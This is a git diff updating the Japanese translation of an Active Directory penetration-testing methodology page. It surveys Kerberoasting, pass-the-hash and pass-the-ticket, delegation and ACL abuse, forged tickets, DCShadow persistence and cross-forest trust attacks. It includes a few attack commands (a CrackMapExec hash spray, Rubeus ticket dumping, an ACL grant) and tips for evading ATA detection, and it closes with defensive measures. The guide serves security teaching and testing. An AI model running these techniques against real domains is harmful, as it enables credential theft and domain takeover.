[**PowerShellを使用してリコンを実行**](../basic-powershell-for-pentesters/)することもでき、よりステルス性があります。 - [**PowerViewを使用**](../basic-powershell-for-pentesters/powerview.md)して、より詳細な情報を抽出できます。 -- アクティブディレクトリのリコンに最適なツールは[**BloodHound**](bloodhound.md)です。**あまりステルス性はありません**(使用する収集方法によります)が、**それを気にしないのであれば**、ぜひ試してみてください。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりします。 +- アクティブディレクトリのリコンに最適なツールは[**BloodHound**](bloodhound.md)です。これは**あまりステルス性がありません**(使用する収集方法によります)が、**それを気にしないのであれば**、ぜひ試してみてください。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりします。 - **他の自動化されたAD列挙ツールは:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**ADのDNSレコード**](ad-dns-records.md)は、興味深い情報を含んでいるかもしれません。 - ディレクトリを列挙するために使用できる**GUIツール**は、**SysInternal**スイートの**AdExplorer.exe**です。 -- **ldapsearch**を使用してLDAPデータベースを検索し、_userPassword_および_unixUserPassword_フィールドや、_Description_を探すことができます。cf. [PayloadsAllTheThingsのADユーザーコメントのパスワード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)で他の方法を確認してください。 +- **ldapsearch**を使用してLDAPデータベースを検索し、_userPassword_および_unixUserPassword_フィールド、または_Description_を探すことができます。cf. [PayloadsAllTheThingsのADユーザーコメントのパスワード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)で他の方法を確認してください。 - **Linux**を使用している場合、[**pywerview**](https://github.com/the-useless-one/pywerview)を使用してドメインを列挙することもできます。 - 自動化ツールを試すこともできます: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) -- **すべてのドメインユーザーの抽出** +- **すべてのドメインユーザーを抽出する** Windowsからすべてのドメインユーザー名を取得するのは非常に簡単です(`net user /domain`、`Get-DomainUser`または`wmic useraccount get name,sid`)。Linuxでは、次のように使用できます:`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username`または`enum4linux -a -u "user" -p "password" `。 -> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンクにアクセスし(特にcmd、powershell、powerview、BloodHoundのリンク)、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるか、何もできないと決定するための重要な瞬間になります。 +> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンクにアクセスし(特にcmd、powershell、powerview、BloodHoundのリンク)、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるための重要な瞬間になるか、何もできないと判断する瞬間になります。 ### Kerberoast Kerberoastingは、ユーザーアカウントに関連付けられたサービスによって使用される**TGSチケット**を取得し、その暗号化をクラックすることを含みます—これはユーザーパスワードに基づいており、**オフライン**で行われます。 -詳細については: +これに関する詳細は: {{#ref}} kerberoast.md @@ -185,17 +185,17 @@ kerberoast.md ### リモート接続(RDP、SSH、FTP、Win-RMなど) -資格情報を取得したら、**マシン**へのアクセスがあるかどうかを確認できます。そのために、**CrackMapExec**を使用して、ポートスキャンに応じて異なるプロトコルで複数のサーバーに接続を試みることができます。 +いくつかの認証情報を取得したら、**マシン**へのアクセスがあるかどうかを確認できます。そのために、**CrackMapExec**を使用して、ポートスキャンに応じて異なるプロトコルで複数のサーバーに接続を試みることができます。 ### ローカル特権昇格 -通常のドメインユーザーとしての資格情報またはセッションを侵害し、**ドメイン内の任意のマシンにこのユーザーでアクセス**できる場合、**ローカルで特権を昇格させ、資格情報を盗む**方法を見つけるべきです。これは、ローカル管理者権限がないと、他のユーザーのハッシュをメモリ(LSASS)やローカル(SAM)で**ダンプ**できないためです。 +通常のドメインユーザーとしての認証情報またはセッションを侵害し、**ドメイン内の任意のマシンにこのユーザーでアクセス**できる場合、**ローカルで特権を昇格させ、クレデンシャルを探す**方法を見つけるべきです。これは、ローカル管理者権限がないと、他のユーザーのハッシュをメモリ(LSASS)やローカル(SAM)で**ダンプ**できないためです。 -この本には、[**Windowsにおけるローカル特権昇格**](../windows-local-privilege-escalation/)に関する完全なページと、[**チェックリスト**](../checklist-windows-privilege-escalation.md)があります。また、[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)を使用することを忘れないでください。 +この本には、[**Windowsにおけるローカル特権昇格**](../windows-local-privilege-escalation/)に関する完全なページと[**チェックリスト**](../checklist-windows-privilege-escalation.md)があります。また、[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)を使用することを忘れないでください。 ### 現在のセッションチケット -現在のユーザーに**予期しないリソースへのアクセスを許可する**チケットが見つかる可能性は非常に**低い**ですが、確認することができます: +予期しないリソースにアクセスするための**チケット**が現在のユーザーに**許可されている**可能性は非常に**低い**ですが、確認することができます: ```bash ## List all tickets (if not admin, only current user tickets) .\Rubeus.exe triage @@ -209,13 +209,13 @@ kerberoast.md ### **コンピュータ共有内のクレデンシャルを探す** -基本的なクレデンシャルを持っているので、**AD内で共有されている興味深いファイルを見つける**ことができるか確認してください。手動で行うこともできますが、非常に退屈で繰り返しの作業です(特に確認する必要のある数百のドキュメントを見つけた場合はなおさらです)。 +基本的なクレデンシャルを持っているので、**AD内で共有されている興味深いファイルを見つける**ことができるか確認してください。手動で行うこともできますが、非常に退屈で繰り返しの作業です(特に確認する必要のある数百のドキュメントが見つかった場合はなおさらです)。 [**使用できるツールについて学ぶにはこのリンクをフォローしてください。**](../../network-services-pentesting/pentesting-smb/#domain-shared-folders-search) ### NTLMクレデンシャルの盗難 -他のPCや共有に**アクセスできる**場合、**ファイル**(SCFファイルなど)を**配置する**ことができ、何らかの形でアクセスされると、**あなたに対してNTML認証をトリガー**するので、**NTLMチャレンジを盗む**ことができます: +他のPCや共有に**アクセスできる場合**、**ファイル**(SCFファイルなど)を**配置する**ことができ、何らかの形でアクセスされると、**あなたに対してNTML認証をトリガーします**。これにより、**NTLMチャレンジを盗む**ことができます: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -223,7 +223,7 @@ kerberoast.md ### CVE-2021-1675/CVE-2021-34527 PrintNightmare -この脆弱性により、認証されたユーザーは**ドメインコントローラーを侵害**することができました。 +この脆弱性により、認証されたユーザーは**ドメインコントローラーを侵害する**ことができました。 {{#ref}} printnightmare.md @@ -235,7 +235,7 @@ printnightmare.md ### ハッシュ抽出 -幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/)を使用して**ローカル管理者**アカウントを**侵害**できたことを願っています。\ +幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/)を使用して、**いくつかのローカル管理者アカウントを侵害できた**ことを願っています。\ 次に、メモリとローカルのすべてのハッシュをダンプする時です。\ [**ハッシュを取得するさまざまな方法についてこのページをお読みください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) @@ -247,7 +247,7 @@ printnightmare.md ### オーバーパス・ザ・ハッシュ/パス・ザ・キー -この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルのパス・ザ・ハッシュの代替手段です。したがって、これは特に**NTLMプロトコルが無効**で、**Kerberosのみが認証プロトコルとして許可されているネットワーク**で**役立つ**可能性があります。 +この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルのパス・ザ・ハッシュの代替手段です。したがって、これは特に**NTLMプロトコルが無効になっているネットワーク**で、**Kerberosのみが認証プロトコルとして許可されている**場合に**特に有用**です。 {{#ref}} over-pass-the-hash-pass-the-key.md @@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md ### パス・ザ・チケット -**パス・ザ・チケット(PTT)**攻撃手法では、攻撃者は**ユーザーの認証チケットを盗む**ことで、パスワードやハッシュ値を盗むのではなく、その盗まれたチケットを使用して**ユーザーになりすまし**、ネットワーク内のリソースやサービスに不正アクセスします。 +**パス・ザ・チケット(PTT)**攻撃手法では、攻撃者は**ユーザーの認証チケットを盗む**ことで、パスワードやハッシュ値を盗むのではなく、**ユーザーになりすます**ために使用します。この盗まれたチケットは、ネットワーク内のリソースやサービスへの不正アクセスを得るために使用されます。 {{#ref}} pass-the-ticket.md @@ -270,11 +270,11 @@ pass-the-ticket.md crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` > [!WARNING] -> 注意してください、これは非常に**騒がしい**ものであり、**LAPS**がこれを**軽減**します。 +> 注意してください、これは非常に**騒がしい**ものであり、**LAPS**はこれを**軽減**します。 ### MSSQLの悪用と信頼されたリンク -ユーザーが**MSSQLインスタンスにアクセスする権限**を持っている場合、MSSQLホストで**コマンドを実行**したり(SAとして実行されている場合)、NetNTLMの**ハッシュ**を**盗む**ことができるか、さらには**リレー****攻撃**を行うことができるかもしれません。\ +ユーザーが**MSSQLインスタンスにアクセスする権限**を持っている場合、MSSQLホストで**コマンドを実行**したり(SAとして実行されている場合)、NetNTLMの**ハッシュ**を**盗む**ことができたり、**リレー****攻撃**を行うことができるかもしれません。\ また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合(データベースリンク)。ユーザーが信頼されたデータベースに対して権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。これらの信頼は連鎖することができ、ユーザーはコマンドを実行できる誤設定されたデータベースを見つけることができるかもしれません。\ **データベース間のリンクは、フォレストの信頼を越えても機能します。** @@ -295,7 +295,7 @@ unconstrained-delegation.md ### 制約された委任 ユーザーまたはコンピュータが「制約された委任」を許可されている場合、**コンピュータ内のいくつかのサービスにアクセスするために任意のユーザーを偽装することができます**。\ -その後、**このユーザー/コンピュータのハッシュを侵害**すると、**任意のユーザー**(ドメイン管理者を含む)を偽装していくつかのサービスにアクセスすることができます。 +その後、**このユーザー/コンピュータのハッシュを侵害すると**、**任意のユーザー**(ドメイン管理者を含む)を偽装していくつかのサービスにアクセスすることができます。 {{#ref}} constrained-delegation.md @@ -311,7 +311,7 @@ resource-based-constrained-delegation.md ### ACLの悪用 -侵害されたユーザーは、**ドメインオブジェクトのいくつかに対して興味深い権限**を持っている可能性があり、これにより**横移動**や**権限の昇格**が可能になります。 +侵害されたユーザーは、**ドメインオブジェクトのいくつかに対して興味深い権限**を持っている可能性があり、それにより**横移動**や**権限の昇格**が可能になります。 {{#ref}} acl-persistence-abuse/ @@ -319,7 +319,7 @@ acl-persistence-abuse/ ### プリンタースプーラーサービスの悪用 -ドメイン内で**スプールサービスがリッスンしている**ことを発見することは、**新しい資格情報を取得**し、**権限を昇格**させるために**悪用**される可能性があります。 +ドメイン内で**スプールサービスがリッスンしている**ことを発見することは、**新しい資格情報を取得し**、**権限を昇格させる**ために**悪用**される可能性があります。 {{#ref}} printers-spooler-service-abuse.md @@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti ### シルバーチケット -**シルバーチケット攻撃**は、特定のサービスのために**正当なチケットグラントサービス(TGS)チケット**を**NTLMハッシュ**(例えば、**PCアカウントのハッシュ**)を使用して作成します。この方法は、**サービス権限にアクセスする**ために使用されます。 +**シルバーチケット攻撃**は、特定のサービスのために**正当なチケットグラントサービス(TGS)チケット**を**NTLMハッシュ**(例えば、**PCアカウントのハッシュ**)を使用して作成します。この方法は、**サービス権限にアクセスするために使用されます**。 {{#ref}} silver-ticket.md @@ -411,7 +411,7 @@ golden-ticket.md ### ダイヤモンドチケット -これらは、**一般的なゴールデンチケットの検出メカニズムを回避する**方法で偽造されたゴールデンチケットのようなものです。 +これらは、**一般的なゴールデンチケット検出メカニズムを回避する**方法で偽造されたゴールデンチケットのようなものです。 {{#ref}} diamond-ticket.md @@ -449,7 +449,7 @@ dsrm-credentials.md ### ACL持続性 -特定のドメインオブジェクトに対して**ユーザー**に**特別な権限**を与えることで、そのユーザーが将来的に**権限を昇格**させることができるようになります。 +特定のドメインオブジェクトに対して**ユーザー**に**特別な権限**を与えることで、そのユーザーが**将来的に権限を昇格させる**ことができるようになります。 {{#ref}} acl-persistence-abuse/ @@ -483,7 +483,7 @@ custom-ssp.md ### DCShadow ADに**新しいドメインコントローラー**を登録し、指定されたオブジェクトに**属性**(SIDHistory、SPNs...)を**プッシュ**するために使用しますが、**変更**に関する**ログ**を残さずに行います。**DA**権限が必要で、**ルートドメイン**内にいる必要があります。\ -間違ったデータを使用すると、非常に醜いログが表示されることに注意してください。 +間違ったデータを使用すると、かなり醜いログが表示されることに注意してください。 {{#ref}} dcshadow.md @@ -491,7 +491,7 @@ dcshadow.md ### LAPS持続性 -以前に、**LAPSパスワードを読み取るための十分な権限がある場合**に権限を昇格させる方法について説明しました。しかし、これらのパスワードは**持続性を維持するためにも使用できます**。\ +以前に、**LAPSパスワードを読むための十分な権限がある場合に権限を昇格させる方法**について説明しました。しかし、これらのパスワードは**持続性を維持するためにも使用できます**。\ 確認してください: {{#ref}} @@ -504,9 +504,9 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま ### 基本情報 -[**ドメイン信頼**]()は、1つの**ドメイン**のユーザーが別の**ドメイン**のリソースにアクセスできるようにするセキュリティメカニズムです。これは、2つのドメインの認証システム間にリンクを作成し、認証確認がシームレスに流れることを可能にします。ドメインが信頼を設定すると、特定の**キー**を**ドメインコントローラー(DC)**内で交換し保持します。これは信頼の整合性にとって重要です。 +[**ドメイン信頼**]()は、ある**ドメイン**のユーザーが別の**ドメイン**のリソースにアクセスできるようにするセキュリティメカニズムです。これは、2つのドメインの認証システム間にリンクを作成し、認証検証がシームレスに流れることを可能にします。ドメインが信頼を設定すると、特定の**キー**を**ドメインコントローラー(DC)**内で交換し保持します。これは信頼の整合性にとって重要です。 -典型的なシナリオでは、ユーザーが**信頼されたドメイン**のサービスにアクセスしようとする場合、最初に自分のドメインのDCから**インターレルムTGT**と呼ばれる特別なチケットを要求する必要があります。このTGTは、両方のドメインが合意した共有**キー**で暗号化されています。ユーザーはこのTGTを**信頼されたドメインのDC**に提示してサービスチケット(**TGS**)を取得します。信頼されたドメインのDCによってインターレルムTGTが正常に検証されると、TGSが発行され、ユーザーはサービスにアクセスできるようになります。 +典型的なシナリオでは、ユーザーが**信頼されたドメイン**のサービスにアクセスしようとする場合、まず自分のドメインのDCから**インターレルムTGT**と呼ばれる特別なチケットを要求する必要があります。このTGTは、両方のドメインが合意した共有**キー**で暗号化されています。ユーザーはこのTGTを**信頼されたドメインのDC**に提示してサービスチケット(**TGS**)を取得します。信頼されたドメインのDCによってインターレルムTGTが正常に検証されると、TGSが発行され、ユーザーはサービスにアクセスできるようになります。 **手順**: @@ -520,18 +520,18 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま ### 異なる信頼 -**信頼は1方向または2方向**であることに注意することが重要です。2方向のオプションでは、両方のドメインが互いに信頼しますが、**1方向**の信頼関係では、1つのドメインが**信頼された**ものであり、もう1つが**信頼する**ドメインです。この場合、**信頼されたドメインから信頼するドメイン内のリソースにのみアクセスできます**。 +**信頼は1方向または2方向**であることに注意することが重要です。2方向のオプションでは、両方のドメインが互いに信頼しますが、**1方向**の信頼関係では、1つのドメインが**信頼された**ものであり、もう1つが**信頼する**ドメインです。最後のケースでは、**信頼されたドメインから信頼するドメイン内のリソースにのみアクセスできます**。 -ドメインAがドメインBを信頼している場合、Aは信頼するドメインであり、Bは信頼されたドメインです。さらに、**ドメインA**では、これは**アウトバウンド信頼**となり、**ドメインB**では、これは**インバウンド信頼**となります。 +ドメインAがドメインBを信頼している場合、Aは信頼するドメインであり、Bは信頼されたドメインです。さらに、**ドメインA**では、これは**アウトバウンド信頼**であり、**ドメインB**では、これは**インバウンド信頼**です。 **異なる信頼関係** - **親子信頼**:これは同じフォレスト内で一般的な設定であり、子ドメインは自動的に親ドメインとの双方向の推移的信頼を持ちます。基本的に、これは認証要求が親と子の間でシームレスに流れることを意味します。 -- **クロスリンク信頼**:これは「ショートカット信頼」と呼ばれ、子ドメイン間で設立され、紹介プロセスを迅速化します。複雑なフォレストでは、認証紹介は通常、フォレストルートまで上昇し、ターゲットドメインまで下降する必要があります。クロスリンクを作成することで、旅が短縮され、特に地理的に分散した環境で有益です。 -- **外部信頼**:これは異なる、無関係なドメイン間で設定され、非推移的です。 [Microsoftの文書]()によると、外部信頼は、現在のフォレスト外のドメインのリソースにアクセスするために便利であり、フォレスト信頼によって接続されていないドメインに対して有用です。セキュリティは、外部信頼に対するSIDフィルタリングによって強化されます。 +- **クロスリンク信頼**:これは「ショートカット信頼」と呼ばれ、子ドメイン間で確立され、参照プロセスを迅速化します。複雑なフォレストでは、認証参照は通常、フォレストルートまで上昇し、ターゲットドメインまで下降する必要があります。クロスリンクを作成することで、旅が短縮され、特に地理的に分散した環境で有益です。 +- **外部信頼**:これは異なる無関係なドメイン間で設定され、性質上非推移的です。[Microsoftのドキュメント]()によると、外部信頼は、現在のフォレスト外のドメインのリソースにアクセスするために役立ちます。セキュリティは、外部信頼に対するSIDフィルタリングによって強化されます。 - **ツリー根信頼**:これらの信頼は、フォレストルートドメインと新しく追加されたツリー根の間で自動的に確立されます。一般的には遭遇しませんが、ツリー根信頼は新しいドメインツリーをフォレストに追加するために重要であり、ユニークなドメイン名を維持し、双方向の推移性を確保します。詳細情報は[Microsoftのガイド]()で確認できます。 - **フォレスト信頼**:このタイプの信頼は、2つのフォレストルートドメイン間の双方向推移的信頼であり、セキュリティ対策を強化するためにSIDフィルタリングを強制します。 -- **MIT信頼**:これらの信頼は、非Windowsの[RF4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインとの間で確立されます。MIT信頼は、Windowsエコシステムの外部でKerberosベースのシステムとの統合を必要とする環境に特化しています。 +- **MIT信頼**:これらの信頼は、非Windowsの[RF4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインとの間で確立されます。MIT信頼は、Windowsエコシステム外のKerberosベースのシステムとの統合を必要とする環境に特化しています。 #### **信頼関係の他の違い** @@ -541,9 +541,9 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま ### 攻撃パス 1. **信頼関係を列挙**する -2. どの**セキュリティプリンシパル**(ユーザー/グループ/コンピュータ)が**他のドメインのリソースにアクセス**できるかを確認します。ACEエントリや他のドメインのグループにいることによって、**ドメイン間の関係**を探します(信頼がこのために作成された可能性があります)。 +2. どの**セキュリティプリンシパル**(ユーザー/グループ/コンピュータ)が**他のドメインのリソースにアクセス**できるかを確認します。おそらくACEエントリや他のドメインのグループにいることによって。**ドメイン間の関係**を探します(信頼がこのために作成された可能性があります)。 1. この場合、kerberoastが別のオプションになる可能性があります。 -3. **アカウントを侵害**し、ドメインを通じて**ピボット**します。 +3. **アカウントを侵害**し、**ドメインをピボット**することができます。 攻撃者は、他のドメインのリソースにアクセスするために、主に3つのメカニズムを使用できます: @@ -584,13 +584,13 @@ sid-history-injection.md Configuration Naming Context (NC)がどのように悪用されるかを理解することは重要です。Configuration NCは、Active Directory (AD)環境内のフォレスト全体の構成データの中央リポジトリとして機能します。このデータはフォレスト内のすべてのドメインコントローラー (DC) に複製され、書き込み可能なDCはConfiguration NCの書き込み可能なコピーを保持します。これを悪用するには、**DC上でSYSTEM権限を持つ必要があります**。できれば子DCが望ましいです。 -**GPOをルートDCサイトにリンクする** +**GPOをルートDCサイトにリンク** Configuration NCのSitesコンテナには、ADフォレスト内のすべてのドメイン参加コンピュータのサイトに関する情報が含まれています。任意のDCでSYSTEM権限を持って操作することで、攻撃者はGPOをルートDCサイトにリンクできます。このアクションは、これらのサイトに適用されるポリシーを操作することによって、ルートドメインを危険にさらす可能性があります。 -詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を探ることができます。 +詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を参照してください。 -**フォレスト内の任意のgMSAを妥協する** +**フォレスト内の任意のgMSAを危険にさらす** 攻撃ベクトルは、ドメイン内の特権gMSAをターゲットにすることです。gMSAのパスワードを計算するために必要なKDS Rootキーは、Configuration NC内に保存されています。任意のDCでSYSTEM権限を持つことで、KDS Rootキーにアクセスし、フォレスト内の任意のgMSAのパスワードを計算することが可能です。 @@ -600,13 +600,13 @@ Configuration NCのSitesコンテナには、ADフォレスト内のすべての この方法は、新しい特権ADオブジェクトの作成を待つ忍耐が必要です。SYSTEM権限を持つ攻撃者は、ADスキーマを変更して、任意のユーザーにすべてのクラスに対する完全な制御を付与できます。これにより、新しく作成されたADオブジェクトへの不正アクセスと制御が可能になる可能性があります。 -さらなる読み物は、[スキーマ変更信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)で利用できます。 +さらなる読み物は、[スキーマ変更信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)で入手できます。 -**ADCS ESC5を使用してDAからEAへ** +**ADCS ESC5を使用したDAからEAへの昇格** -ADCS ESC5の脆弱性は、フォレスト内の任意のユーザーとして認証を可能にする証明書テンプレートを作成するために、公開鍵基盤 (PKI) オブジェクトの制御をターゲットにしています。PKIオブジェクトはConfiguration NCに存在するため、書き込み可能な子DCを妥協することでESC5攻撃を実行できます。 +ADCS ESC5の脆弱性は、フォレスト内の任意のユーザーとして認証を可能にする証明書テンプレートを作成するために、公開鍵基盤 (PKI) オブジェクトの制御をターゲットにしています。PKIオブジェクトはConfiguration NCに存在するため、書き込み可能な子DCを危険にさらすことでESC5攻撃を実行できます。 -この件に関する詳細は、[ESC5を使用してDAからEAへ](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)で読むことができます。ADCSがないシナリオでは、攻撃者は必要なコンポーネントを設定する能力を持ち、[子ドメイン管理者からエンタープライズ管理者への昇格](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)で議論されています。 +この件に関する詳細は、[ESC5を使用したDAからEAへの昇格](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)で読むことができます。ADCSがないシナリオでは、攻撃者は必要なコンポーネントを設定する能力を持ち、[子ドメイン管理者からエンタープライズ管理者への昇格](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)で議論されています。 ### 外部フォレストドメイン - 一方向(インバウンド)または双方向 ```powershell @@ -645,7 +645,7 @@ WhenChanged : 2/19/2021 10:15:24 PM external-forest-domain-one-way-outbound.md {{#endref}} -信頼されたドメインを侵害する別の方法は、ドメイン信頼の**逆方向**に作成された[**SQL信頼リンク**](abusing-ad-mssql.md#mssql-trusted-links)を見つけることです(これはあまり一般的ではありません)。 +信頼されたドメインを侵害する別の方法は、ドメイン信頼の**反対方向**に作成された[**SQL信頼リンク**](abusing-ad-mssql.md#mssql-trusted-links)を見つけることです(これはあまり一般的ではありません)。 信頼されたドメインを侵害する別の方法は、**信頼されたドメインのユーザーがアクセスできる**マシンで待機し、**RDP**を介してログインすることです。次に、攻撃者はRDPセッションプロセスにコードを注入し、そこから**被害者の元のドメインにアクセス**できます。\ さらに、**被害者がハードドライブをマウントした場合**、攻撃者は**RDPセッション**プロセスから**ハードドライブのスタートアップフォルダー**に**バックドア**を保存できます。この技術は**RDPInception**と呼ばれます。 @@ -658,19 +658,21 @@ rdp-sessions-abuse.md ### **SIDフィルタリング:** -- SID履歴属性を利用した攻撃のリスクは、すべてのインターフォレスト信頼でデフォルトで有効になっているSIDフィルタリングによって緩和されます。これは、マイクロソフトの見解に従い、フォレストをセキュリティ境界と見なすことから、イントラフォレスト信頼が安全であるという前提に基づいています。 -- しかし、注意が必要です:SIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効にされることがあります。 +- フォレスト信頼を越えたSID履歴属性を利用した攻撃のリスクは、SIDフィルタリングによって緩和され、これはすべてのインターフォレスト信頼でデフォルトで有効になっています。これは、マイクロソフトの見解に従い、フォレストをセキュリティ境界と見なすことから、イントラフォレスト信頼が安全であるという前提に基づいています。 +- しかし、注意点があります:SIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効にされることがあります。 ### **選択的認証:** - インターフォレスト信頼の場合、選択的認証を使用することで、2つのフォレストのユーザーが自動的に認証されないようにします。代わりに、信頼するドメインまたはフォレスト内のドメインやサーバーにアクセスするためには明示的な権限が必要です。 -- これらの対策は、書き込み可能な構成命名コンテキスト(NC)の悪用や信頼アカウントへの攻撃から保護するものではないことに注意が必要です。 +- これらの対策は、書き込み可能な構成名コンテキスト(NC)の悪用や信頼アカウントへの攻撃から保護するものではないことに注意が必要です。 [**ired.teamのドメイン信頼に関する詳細情報。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) ## AD -> Azure & Azure -> AD -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity +{{#endref}} ## 一般的な防御策 @@ -680,24 +682,24 @@ rdp-sessions-abuse.md - **ドメイン管理者の制限**:ドメイン管理者はドメインコントローラーにのみログインできるようにし、他のホストでの使用を避けることが推奨されます。 - **サービスアカウントの特権**:サービスはセキュリティを維持するためにドメイン管理者(DA)特権で実行されるべきではありません。 -- **一時的特権制限**:DA特権を必要とするタスクについては、その期間を制限する必要があります。これは次のように実現できます:`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` +- **一時的特権制限**:DA特権を必要とするタスクの期間は制限するべきです。これは次のように実現できます:`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ### **欺瞞技術の実装** -- 欺瞞を実装するには、パスワードが期限切れにならないか、委任のために信頼されているとマークされたデコイユーザーやコンピュータのような罠を設定します。詳細なアプローチには、特定の権利を持つユーザーを作成したり、高特権グループに追加したりすることが含まれます。 -- 実用的な例として、次のようなツールを使用します:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` -- 欺瞞技術の展開に関する詳細は、[Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)で確認できます。 +- 欺瞞を実装することは、パスワードが期限切れにならないか、委任のために信頼されているとマークされたデコイユーザーやコンピュータのような罠を設定することを含みます。詳細なアプローチには、特定の権利を持つユーザーを作成するか、高特権グループに追加することが含まれます。 +- 実用的な例として、次のようなツールを使用することが含まれます:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` +- 欺瞞技術の展開に関する詳細は、[GitHubのDeploy-Deception](https://github.com/samratashok/Deploy-Deception)で見つけることができます。 ### **欺瞞の特定** - **ユーザーオブジェクトの場合**:疑わしい指標には、異常なObjectSID、稀なログオン、作成日、低い不正パスワードカウントが含まれます。 -- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで不一致を明らかにできます。[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)のようなツールが、こうした欺瞞を特定するのに役立ちます。 +- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで、不一致を明らかにできます。[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)のようなツールは、そのような欺瞞を特定するのに役立ちます。 ### **検出システムの回避** - **Microsoft ATA検出回避**: - **ユーザー列挙**:ドメインコントローラーでのセッション列挙を避け、ATA検出を防ぎます。 -- **チケットの偽装**:チケット作成に**aes**キーを使用することで、NTLMにダウングレードせずに検出を回避します。 +- **チケット偽装**:チケット作成に**aes**キーを利用することで、NTLMにダウングレードせずに検出を回避します。 - **DCSync攻撃**:ATA検出を避けるために、ドメインコントローラーから直接実行するのではなく、非ドメインコントローラーから実行することが推奨されます。 ## 参考文献 diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index c677cba00..b4cc7915d 100644 --- 